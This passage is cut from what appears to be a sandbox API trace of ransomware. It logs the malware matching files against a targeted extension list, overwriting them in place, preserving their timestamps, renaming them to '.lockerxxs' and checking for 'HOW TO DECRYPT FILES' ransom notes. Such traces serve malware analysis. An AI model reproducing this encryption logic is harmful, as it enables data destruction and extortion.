DECRYPT FILES.txt" [0065.074] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.074] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsPrintTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.ems") returned 0 [0065.074] lstrlenA (lpString="*.ems") returned 5 [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.db") returned 0 [0065.074] lstrlenA (lpString="*.db") returned 4 [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.dbf") returned 0 [0065.074] lstrlenA (lpString="*.dbf") returned 5 [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.myox") returned 0 [0065.074] lstrlenA (lpString="*.myox") returned 6 [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.myo") returned 0 [0065.074] lstrlenA (lpString="*.myo") returned 5 [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qbw") returned 0 [0065.074] lstrlenA (lpString="*.qbw") returned 5 [0065.074] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qbb") returned 0 [0065.075] lstrlenA (lpString="*.qbb") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qbm") returned 0 [0065.075] lstrlenA (lpString="*.qbm") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qbo") returned 0 [0065.075] lstrlenA (lpString="*.qbo") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qbx") returned 0 [0065.075] lstrlenA (lpString="*.qbx") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qba") returned 0 [0065.075] lstrlenA (lpString="*.qba") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qby") returned 0 [0065.075] lstrlenA (lpString="*.qby") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qbj") returned 0 [0065.075] lstrlenA (lpString="*.qbj") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.ofx") returned 0 [0065.075] lstrlenA (lpString="*.ofx") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.qif") returned 0 [0065.075] lstrlenA (lpString="*.qif") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.mye") returned 0 [0065.075] lstrlenA (lpString="*.mye") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.mbox") returned 0 [0065.075] lstrlenA (lpString="*.mbox") returned 6 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.eml") returned 0 [0065.075] lstrlenA (lpString="*.eml") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.pst") returned 0 [0065.075] lstrlenA (lpString="*.pst") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.ost") returned 0 [0065.075] lstrlenA (lpString="*.ost") returned 5 [0065.075] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.idx") returned 0 [0065.076] lstrlenA (lpString="*.idx") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.dbx") returned 0 [0065.076] lstrlenA (lpString="*.dbx") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.sql") returned 0 [0065.076] lstrlenA (lpString="*.sql") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.mdb") returned 0 [0065.076] lstrlenA (lpString="*.mdb") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.fdb") returned 0 [0065.076] lstrlenA (lpString="*.fdb") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.wab") returned 0 [0065.076] lstrlenA (lpString="*.wab") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.dat") returned 0 [0065.076] lstrlenA (lpString="*.dat") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.txt") returned 0 [0065.076] lstrlenA (lpString="*.txt") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.jpeg") returned 0 [0065.076] lstrlenA (lpString="*.jpeg") returned 6 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.jpg") returned 0 [0065.076] lstrlenA (lpString="*.jpg") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.png") returned 0 [0065.076] lstrlenA (lpString="*.png") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.php") returned 0 [0065.076] lstrlenA (lpString="*.php") returned 5 [0065.076] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.cs") returned 0 [0065.076] lstrlenA (lpString="*.cs") returned 4 [0065.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.cpp") returned 0 [0065.077] lstrlenA (lpString="*.cpp") returned 5 [0065.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.rar") returned 0 [0065.077] lstrlenA (lpString="*.rar") returned 5 [0065.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.zip") returned 0 [0065.077] lstrlenA (lpString="*.zip") returned 5 [0065.077] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", pszSpec="*.html") returned 1 [0065.077] lstrlenA (lpString="*.html") returned 6 [0065.077] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" [0065.077] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" [0065.077] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html." [0065.077] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.lockerxxs" [0065.077] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.077] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5c9 [0065.077] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8a2e4800, dwHighDateTime=0x1c7d303), lpLastAccessTime=0x407536*(dwLowDateTime=0x618eeb70, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x8a2e4800, dwHighDateTime=0x1c7d303)) returned 1 [0065.078] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.078] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5a3, lpOverlapped=0x0) returned 1 [0065.080] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html") returned="FormsPrintTemplateRTL.html" [0065.080] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.080] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5a3, lpOverlapped=0x0) returned 1 [0065.080] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.080] CloseHandle (hObject=0x98) returned 1 [0065.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html.lockerxxs")) returned 1 [0065.085] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f34200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0f34200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1 [0065.085] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.085] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsViewAttachmentIcons.jpg") returned -1 [0065.086] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsViewAttachmentIcons.jpg") returned 1 [0065.086] lstrcmpiA (lpString1="", lpString2="FormsViewAttachmentIcons.jpg") returned -1 [0065.086] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html") returned="FormsPrintTemplateRTL.html" [0065.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.086] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.086] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.086] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.086] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsViewAttachmentIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.ems") returned 0 [0065.086] lstrlenA (lpString="*.ems") returned 5 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.db") returned 0 [0065.086] lstrlenA (lpString="*.db") returned 4 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.dbf") returned 0 [0065.086] lstrlenA (lpString="*.dbf") returned 5 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.myox") returned 0 [0065.086] lstrlenA (lpString="*.myox") returned 6 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.myo") returned 0 [0065.086] lstrlenA (lpString="*.myo") returned 5 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbw") returned 0 [0065.086] lstrlenA (lpString="*.qbw") returned 5 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbb") returned 0 [0065.086] lstrlenA (lpString="*.qbb") returned 5 [0065.086] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbm") returned 0 [0065.087] lstrlenA (lpString="*.qbm") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbo") returned 0 [0065.087] lstrlenA (lpString="*.qbo") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbx") returned 0 [0065.087] lstrlenA (lpString="*.qbx") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qba") returned 0 [0065.087] lstrlenA (lpString="*.qba") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qby") returned 0 [0065.087] lstrlenA (lpString="*.qby") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbj") returned 0 [0065.087] lstrlenA (lpString="*.qbj") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.ofx") returned 0 [0065.087] lstrlenA (lpString="*.ofx") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.qif") returned 0 [0065.087] lstrlenA (lpString="*.qif") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.mye") returned 0 [0065.087] lstrlenA (lpString="*.mye") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.mbox") returned 0 [0065.087] lstrlenA (lpString="*.mbox") returned 6 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.eml") returned 0 [0065.087] lstrlenA (lpString="*.eml") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.pst") returned 0 [0065.087] lstrlenA (lpString="*.pst") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.ost") returned 0 [0065.087] lstrlenA (lpString="*.ost") returned 5 [0065.087] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.idx") returned 0 [0065.087] lstrlenA (lpString="*.idx") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.dbx") returned 0 [0065.088] lstrlenA (lpString="*.dbx") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.sql") returned 0 [0065.088] lstrlenA (lpString="*.sql") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.mdb") returned 0 [0065.088] lstrlenA (lpString="*.mdb") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.fdb") returned 0 [0065.088] lstrlenA (lpString="*.fdb") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.wab") returned 0 [0065.088] lstrlenA (lpString="*.wab") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.dat") returned 0 [0065.088] lstrlenA (lpString="*.dat") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.txt") returned 0 [0065.088] lstrlenA (lpString="*.txt") returned 5 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.jpeg") returned 0 [0065.088] lstrlenA (lpString="*.jpeg") returned 6 [0065.088] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", pszSpec="*.jpg") returned 1 [0065.088] lstrlenA (lpString="*.jpg") returned 5 [0065.088] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" [0065.088] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" [0065.088] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg." [0065.088] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.lockerxxs" [0065.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.091] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1499 [0065.091] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb0f34200, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5298e710, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb0f34200, dwHighDateTime=0x1c747ea)) returned 1 [0065.091] SetFilePointer 